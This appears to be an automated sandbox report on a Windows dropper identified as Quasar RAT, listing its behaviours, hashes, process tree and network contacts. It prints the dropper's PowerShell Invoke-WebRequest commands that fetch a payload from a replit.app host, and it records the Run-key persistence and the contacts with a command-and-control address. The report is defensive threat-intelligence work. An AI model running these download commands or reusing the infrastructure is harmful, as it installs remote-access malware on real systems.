Analysis Overview
SHA256
8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3
Threat Level: Known bad
The file 8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe was found to be: Known bad.
Malicious Activity Summary
Quasar payload
Quasar RAT
Blocklisted process makes network request
Downloads MZ/PE file
Command and Scripting Interpreter: PowerShell
Executes dropped EXE
.NET Reactor proctector
Checks computer location settings
Adds Run key to start application
System Location Discovery: System Language Discovery
Unsigned PE
Enumerates physical storage devices
Suspicious use of SendNotifyMessage
Suspicious use of FindShellTrayWindow
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-30 18:09
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-30 18:09
Reported
2024-07-30 18:12
Platform
win7-20240729-en
Max time kernel
122s
Max time network
123s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe
"C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B2BC.tmp\B2BD.tmp\B2BE.bat C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
Network
Files
C:\Users\Admin\AppData\Local\Temp\B2BC.tmp\B2BD.tmp\B2BE.bat
| MD5 | 9aaac0122442ca0ebb4d8bb795e86676 |
| SHA1 | 594744d8e4d51273dd435c3fac5799bc5f180e8c |
| SHA256 | 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373 |
| SHA512 | d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c |
memory/1260-6-0x000007FEF6ACE000-0x000007FEF6ACF000-memory.dmp
memory/1260-7-0x000000001B620000-0x000000001B902000-memory.dmp
memory/1260-8-0x0000000002970000-0x0000000002978000-memory.dmp
memory/1260-9-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp
memory/1260-12-0x0000000002C8B000-0x0000000002CF2000-memory.dmp
memory/1260-11-0x0000000002C84000-0x0000000002C87000-memory.dmp
memory/1260-10-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp
memory/1260-13-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | ec1e9a130a7b1d16eea467dfe59a5dc1 |
| SHA1 | f99553beb65312219fd37ee6038868a93f00b809 |
| SHA256 | 8ea5b63a4e03df3447a5818863afb7ba63075260deb1a7c83432a0f743f451fe |
| SHA512 | 41d219d1f22bc92b208def39b1a6def51bb9f7b16587bf69ac485116209a8169493bf3f7d177acd905b9d978e95499992264855293a10811241366de28267d57 |
memory/2744-19-0x000000001B5B0000-0x000000001B892000-memory.dmp
memory/2744-20-0x00000000026E0000-0x00000000026E8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-30 18:09
Reported
2024-07-30 18:12
Platform
win10v2004-20240730-en
Max time kernel
125s
Max time network
143s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
.NET Reactor proctector
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkRun.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\networkrunfdp.exe" | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe
"C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C14C.tmp\C14D.tmp\C14E.bat C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
networkrunfdp.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | jdvdpconstructionltdfileportal.replit.app | udp |
| US | 34.117.33.233:443 | jdvdpconstructionltdfileportal.replit.app | tcp |
| US | 8.8.8.8:53 | 71.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.33.117.34.in-addr.arpa | udp |
| US | 34.117.33.233:443 | jdvdpconstructionltdfileportal.replit.app | tcp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | oshi.at | udp |
| NL | 5.253.86.15:443 | oshi.at | tcp |
| US | 8.8.8.8:53 | 15.86.253.5.in-addr.arpa | udp |
| US | 192.228.105.2:4782 | tcp | |
| US | 8.8.8.8:53 | 21.236.111.52.in-addr.arpa | udp |
| US | 192.228.105.2:4782 | tcp | |
| US | 192.228.105.2:4782 | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\C14C.tmp\C14D.tmp\C14E.bat
| MD5 | 9aaac0122442ca0ebb4d8bb795e86676 |
| SHA1 | 594744d8e4d51273dd435c3fac5799bc5f180e8c |
| SHA256 | 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373 |
| SHA512 | d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c |
memory/1252-2-0x00007FF9D7B93000-0x00007FF9D7B95000-memory.dmp
memory/1252-8-0x0000024BC33C0000-0x0000024BC33E2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_50cds5t0.p5w.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1252-13-0x00007FF9D7B90000-0x00007FF9D8651000-memory.dmp
memory/1252-14-0x00007FF9D7B90000-0x00007FF9D8651000-memory.dmp
memory/1252-17-0x00007FF9D7B90000-0x00007FF9D8651000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | a2b24af1492f112d2e53cb7415fda39f |
| SHA1 | dbfcee57242a14b60997bd03379cc60198976d85 |
| SHA256 | fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073 |
| SHA512 | 9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0 |
C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
| MD5 | a18b7de2990becc30f700720e19ebfef |
| SHA1 | b48c1a5c7756bccfe05d7999daeb96e7ab688cfd |
| SHA256 | 2bf98c947ce0bd8e6e6a0c0493af056790d61ab86c7c47896b4688bdc60b68b5 |
| SHA512 | 484f8faf3973b74c96b6fea157774c627044fa4631e127de30f9f93468d38e73befa3c3bff3ea07108c82d943c9b56e79c5d6391d0e3a9b197869b0715d2808b |
memory/3300-33-0x0000000000590000-0x00000000005FE000-memory.dmp
memory/3300-40-0x0000000005830000-0x0000000005B55000-memory.dmp
memory/3300-41-0x00000000062A0000-0x00000000065C4000-memory.dmp
memory/3300-42-0x0000000006B70000-0x0000000007114000-memory.dmp
memory/3300-43-0x0000000006020000-0x00000000060B2000-memory.dmp
memory/3300-44-0x00000000061B0000-0x00000000061BA000-memory.dmp
memory/3300-45-0x0000000006810000-0x0000000006860000-memory.dmp
memory/3300-46-0x0000000006920000-0x00000000069D2000-memory.dmp
memory/3300-47-0x0000000007740000-0x0000000007D58000-memory.dmp